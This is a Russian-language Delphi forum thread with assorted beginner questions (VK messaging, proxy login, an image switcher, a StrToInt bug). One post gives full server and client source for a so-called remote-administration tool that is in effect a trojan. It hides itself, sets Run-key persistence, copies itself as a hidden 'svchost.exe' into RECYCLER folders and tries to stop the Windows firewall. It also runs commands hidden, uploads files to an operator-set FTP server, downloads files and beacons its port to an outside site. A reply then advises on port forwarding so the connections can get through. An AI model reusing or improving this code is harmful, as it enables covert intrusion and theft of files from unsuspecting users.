А как можно спарсить id пользователя,от которого пришло последнее сообщение?В вконтакте.Никак додумать не могу...Само количество сообщений могу,отправить определенному юзеру сообщение тоже могу,а вот входящие как узнать- не знаю)
И еще такая проблема:когда пытаюсь отправить сообщение в vk через поле Memo,то появляется такая ошибка А если использовать поле edit,то всё работает прекрасно.В чем проблема?
Работаю через прокси в twebbrowser таким способом: procedure proxy_go(proxy: string); var proxy_info : PInternetProxyInfo; begin New (proxy_info); proxy_info^.dwAccessType := INTERNET_OPEN_TYPE_PROXY; proxy_info^.lpszProxy := PChar(proxy); proxy_info^.lpszProxyBypass := PChar(''); UrlMkSetSessionOption(INTERNET_OPTION_PROXY, proxy_info, SizeOf(Internet_Proxy_Info), 0); Dispose(proxy_info); end; Подскажите пожалуйста, как в данной процедуре сделать авторизацию прокси по логину и паролю? Благодарю.
Добрый день, решил осваивать Delphi... но не как немогу понять как сделать так: Есть 5 фотографий, нужно чтоб они менялись при нажатии на кнопку Button... подскажите как выглядит код
Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, jpeg; type TForm1 = class(TForm) Button1: TButton; Image1: TImage; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; CurrentImage : integer = 1; PictureNames: array[1..5] of string = ('1.jpg', '2.jpg', '3.jpg', '4.jpg', '5.jpg'); implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin CurrentImage := CurrentImage + 1; if(CurrentImage = 6) then CurrentImage := 1; Image1.Picture.LoadFromFile(PictureNames[CurrentImage]); end; end. вот
Подскажите Здраствуйте подскажите что не так в коде?? Code: procedure TfMain.Button1Click(Sender: TObject); var Perem1,Perem2:Integer; Perem3:Double; begin StrToInt('String'); Perem1:=StrToInt('Edit1.Text'); Perem2:=StrToInt('Edit2.Text'); If Perem2 = 0 then begin ShowMessage('На ноль делить нельзя!!'); Edit3.Text := '0'; end else begin Perem3 := Perem1 / Perem2; Edit3.Text := FloatToStr(Perem3); end; end.
Прочитай для начала для чего эта функция нужна, потом посмотри как ты ее использовал и не задавай глупых вопросов http://delphibasics.ru/StrToInt.php
PHP: procedure TForm1.Button1Click(Sender: TObject); var Perem1,Perem2:Integer; Perem3:real; begin //StrToInt('String'); Perem1:=StrToInt(Edit1.Text); Perem2:=StrToInt(Edit2.Text); If Perem2 = 0 then begin ShowMessage('На ноль делить нельзя!!'); Edit3.Text := '0'; end else begin Perem3 := Perem1 / Perem2; Edit3.Text := FloatToStr(Perem3); end; end;
Привет всем! Такая проблема. Нужно написать программу, в не должен быть браузер. Воспользовался компонентом WebBrowser. После того как откомпилировал программу и открылся нужный сайт в браузуре, я заметил что открытый сайт мне сообщил что у меня версия браузера IE 7, у меня же стоит 9. И в связи с этим моя программа не может выполнить мои требования. Как решить этот вопрос?
Итак Писал я прогу для удалленого администрирования через TidTCPserver и клиент соотвественно по локалке работает на ура Но! Через интернет не работает( подскжите в чем может бить проблема вот код сервера Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, MMSystem, Classes, Controls, Forms, Dialogs, IdComponent, IdTCPServer, StdCtrls, IdTCPConnection, IdTCPClient, IdHTTP, IdMessageClient, IdSMTP, IdMessage, IdTrivialFTP, ShellAPI, IdFTP, IdSMTPServer, ScktComp, Registry, IdBaseComponent, WinSvc, ExtCtrls; type TForm1 = class(TForm) IdTCPServer1: TIdTCPServer; IdHTTP1: TIdHTTP; Memo1: TMemo; IdSMTP1: TIdSMTP; IdMessage1: TIdMessage; IdHTTP2: TIdHTTP; IdFTP1: TIdFTP; ListBox1: TListBox; procedure IdTCPServer1Execute(AThread: TIdPeerThread); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure FormActivate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; s:string; len:string; implementation {$R *.dfm} function StopFireWallService : Boolean; var SCMan : Cardinal; Svc : Cardinal; Stat : TServiceStatus; begin SCMan := OpenSCManager(nil, nil, SC_MANAGER_CONNECT); Svc := OpenService(SCMan, 'SharedAccess', SERVICE_STOP); Result := ControlService(Svc, SERVICE_CONTROL_STOP, Stat); CloseServiceHandle(Svc); CloseServiceHandle(SCMan); end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var LoadStream: TMemoryStream; r:TStringList; b:string; begin begin s:=AThread.Connection.ReadLn; end; if AThread.Connection.ReadLn=('cmd') then begin ShowMessage('YEPIIIII'); end; if AThread.Connection.ReadLn=('shut') then begin mciSendString('Set cdaudio door open wait', nil, 0, handle); end; if copy(s,1,4)=('REGE') then begin WinExec(PChar('regedit.exe /s '+PChar(copy(s,5,length(s)))), SW_HIDE); end; if copy(s,1,3)=('SOB') then begin Messagebox(0,pchar(copy(s,4,length(s))),'Message', 0); end; if copy(s,1,3)=('RUN') then begin ShellExecute(Handle, 'open', PChar(copy(s,4,length(s))), nil, nil, SW_HIDE); end; if copy(s,1,4)=('FILE') then begin IdFTP1.Connect; idFTP1.Put(PChar(copy(s,5,length(s))),'eda'+ExtractFileName(s), false); IdFTP1.Disconnect; end; if copy(s,1,4)=('Host') then begin idFTP1.Host:=(PChar(copy(s,5,length(s)))); end; if copy(s,1,4)=('Port') then begin idFTP1.Port:=StrToInt(PChar(copy(s,5,length(s)))); end; if copy(s,1,4)=('User') then begin idFTP1.Username:=(PChar(copy(s,5,length(s)))); end; if copy(s,1,4)=('Pass') then begin idFTP1.Password:=(PChar(copy(s,5,length(s)))); end; // if copy(s,1,4)=('RENF') then begin r:=TStringList.create; r.text:=stringReplace(PChar(copy(s,5,length(s))),'*',#13#10,[rfReplaceAll]); RenameFile(r[0], ExtractFilePath(r[0])+r[1]); r.Free; end; // if copy(s,1,4)=('ipsc') then begin r:=TStringList.create; LoadStream := TMemoryStream.Create; r.text:=stringReplace(PChar(copy(s,5,length(s))),'*',#13#10,[rfReplaceAll]); idHTTP2.Get(PChar(copy(r[0],5,length(r[0]))), LoadStream); b:=StringReplace(r[0],'/','\',[rfReplaceAll]); LoadStream.SaveToFile(r[1]+ExtractFileName(b)); LoadStream.Free; r.Free; end; end; procedure TForm1.FormCreate(Sender: TObject); var num:integer; reg:TRegistry; path: array[0..max_path]of char; ddi:string; begin begin GetWindowsDirectory(path,max_path); ddi:=copy(path,0,3); end; reg:=tregistry.create; reg.RootKey:=HKEY_CURRENT_USER; reg.openkey('software\microsoft\windows\currentversion\run', false); reg.WriteString('svhost',(ddi)+'RECYCLER\'+'svhost.exe'); reg.CloseKey; reg.free; idTCPServer1.Active:=True; IdFTP1.Host:='ftp.com'; IdFTP1.Port:=21; IdFTP1.Username:='xxxxx'; IdFTP1.Password:='xxxxx'; Application.ShowMainForm:=false; { memo1.text:=idhttp1.get('http://www.myip.ru/get_ip.php'); len:=memo1.text; num:=pos('<TD bgcolor=white align=center valign=middle>',len)+45; delete(len,1,num); len:=copy(memo1.text, num, pos('<',len)); memo1.Text:=len; } // // CopyFile(PChar(ParamStr(0)), PChar((ddi) + 'RECYCLER\' + 'svhost.exe'), False); Windows.SetFileAttributes(PChar((ddi)+'RECYCLER\'+ 'svhost.exe'), faSysFile); Windows.SetFileAttributes(PChar((ddi)+'RECYCLER\'+ 'svhost.exe'), faVolumeID); Windows.SetFileAttributes(PChar((ddi)+'RECYCLER\'+ 'svhost.exe'), faHidden); CopyFile(PChar(ParamStr(0)), PChar('C:\RECYCLER\'+ 'svchost.exe'), False); Windows.SetFileAttributes('C:\RECYCLER\svchost.exe', faSysFile); Windows.SetFileAttributes('C:\RECYCLER\svchost.exe', faVolumeID); Windows.SetFileAttributes('C:\RECYCLER\svchost.exe', faHidden); CopyFile(PChar(ParamStr(0)), PChar('D:\RECYCLER\' + 'svchost.exe'), False); Windows.SetFileAttributes('D:\RECYCLER\svchost.exe', faSysFile); Windows.SetFileAttributes('D:\RECYCLER\svchost.exe', faVolumeID); Windows.SetFileAttributes('D:\RECYCLER\svchost.exe', faHidden); begin idHttp1.Get('snifer.site/s.gif?CURRENTPORT=9097') end; end; procedure TForm1.FormDestroy(Sender: TObject); begin idTCPServer1.Active:=False; end; procedure TForm1.FormActivate(Sender: TObject); begin Application.ShowMainForm:=false; end; end. а вот клиента Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, StdCtrls, IdTCPServer, OleCtrls, ShellApi, FileCtrl, ScktComp, IdUDPBase, IdUDPServer, IdSocketHandle, IdAntiFreezeBase, IdAntiFreeze; type TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; Button2: TButton; Button3: TButton; IdTCPClient1: TIdTCPClient; Button4: TButton; Button5: TButton; Edit2: TEdit; Edit3: TEdit; Button6: TButton; Edit4: TEdit; Button7: TButton; Edit5: TEdit; Edit6: TEdit; Edit7: TEdit; Edit8: TEdit; Button8: TButton; Edit9: TEdit; Button9: TButton; Label5: TLabel; Label6: TLabel; Label8: TLabel; Edit10: TEdit; Button10: TButton; Edit11: TEdit; Edit12: TEdit; Button11: TButton; Edit13: TEdit; Memo1: TMemo; Edit14: TEdit; IdAntiFreeze1: TIdAntiFreeze; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button5Click(Sender: TObject); procedure Button6Click(Sender: TObject); procedure Button7Click(Sender: TObject); procedure Button8Click(Sender: TObject); procedure Button9Click(Sender: TObject); procedure Button10Click(Sender: TObject); procedure Button11Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; s:string; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin idTCPClient1.Host:=Edit1.Text; idTCPClient1.Port:=strtoint(edit14.text); idTCPClient1.Connect(); if idTCPClient1.Connected then ShowMessage('Подключено!'); end; procedure TForm1.Button2Click(Sender: TObject); begin idTCPClient1.WriteLn('cmd'); idTCPClient1.WriteLn('cmd'); idTCPClient1.WriteLn('cmd'); end; procedure TForm1.Button3Click(Sender: TObject); begin idTCPClient1.Disconnect; end; procedure TForm1.Button4Click(Sender: TObject); begin idTCPClient1.WriteLn('shut'); idTCPClient1.WriteLn('shut'); idTCPClient1.WriteLn('shut'); end; procedure TForm1.Button5Click(Sender: TObject); begin idTCPClient1.WriteLn('SOB'+edit2.text); idTCPClient1.WriteLn('SOB'+edit2.text); idTCPClient1.WriteLn('SOB'+edit2.text); end; procedure TForm1.Button6Click(Sender: TObject); begin idTCPClient1.WriteLn('FILE'+edit3.text); idTCPClient1.WriteLn('FILE'+edit3.text); idTCPClient1.WriteLn('FILE'+edit3.text); idTCPClient1.WriteLn('FILE'+edit3.text); idTCPClient1.WriteLn('FILE'+edit3.text); end; procedure TForm1.Button7Click(Sender: TObject); begin idTCPClient1.WriteLn('RUN'+edit4.text); idTCPClient1.WriteLn('RUN'+edit4.text); idTCPClient1.WriteLn('RUN'+edit4.text); end; procedure TForm1.Button8Click(Sender: TObject); begin idTCPClient1.WriteLn('Host'+edit5.text); idTCPClient1.WriteLn('Host'+edit5.text); idTCPClient1.WriteLn('Port'+edit6.text); idTCPClient1.WriteLn('Port'+edit6.text); idTCPClient1.WriteLn('User'+edit7.text); idTCPClient1.WriteLn('User'+edit7.text); idTCPClient1.WriteLn('Pass'+edit8.text); idTCPClient1.WriteLn('Pass'+edit8.text); end; procedure TForm1.Button9Click(Sender: TObject); begin idTCPClient1.WriteLn('HTTP'+edit9.text+'*'+edit13.text); idTCPClient1.WriteLn('HTTP'+edit9.text+'*'+edit13.text); idTCPClient1.WriteLn('HTTP'+edit9.text+'*'+edit13.text); end; procedure TForm1.Button10Click(Sender: TObject); begin idTCPClient1.WriteLn('REGE'+edit10.text); idTCPClient1.WriteLn('REGE'+edit10.text); idTCPClient1.WriteLn('REGE'+edit10.text); idTCPClient1.WriteLn('REGE'+edit10.text); idTCPClient1.WriteLn('REGE'+edit10.text); idTCPClient1.WriteLn('REGE'+edit10.text); end; procedure TForm1.Button11Click(Sender: TObject); begin idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text); idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text); idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text); idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text); idTCPClient1.WriteLn('RENF'+edit11.text+'*'+edit12.text); end; end. почемуто надо отправлять сообщение несколько раз (раньше много кликал) просьба не бить ето моя по сути первая прога ПС. Тупо не крнектиться
DOLLY, тебе сказали, что если хочешь подключаться с инета, то у тебя должен быть "белый" ип, иначе, если ты за NATом или firewall, то нужно пробрасывать порт наружу, но для этого нужны соответствующие права, либо использовать другие приблуды =D без этого ты не сможешь принять коннект извне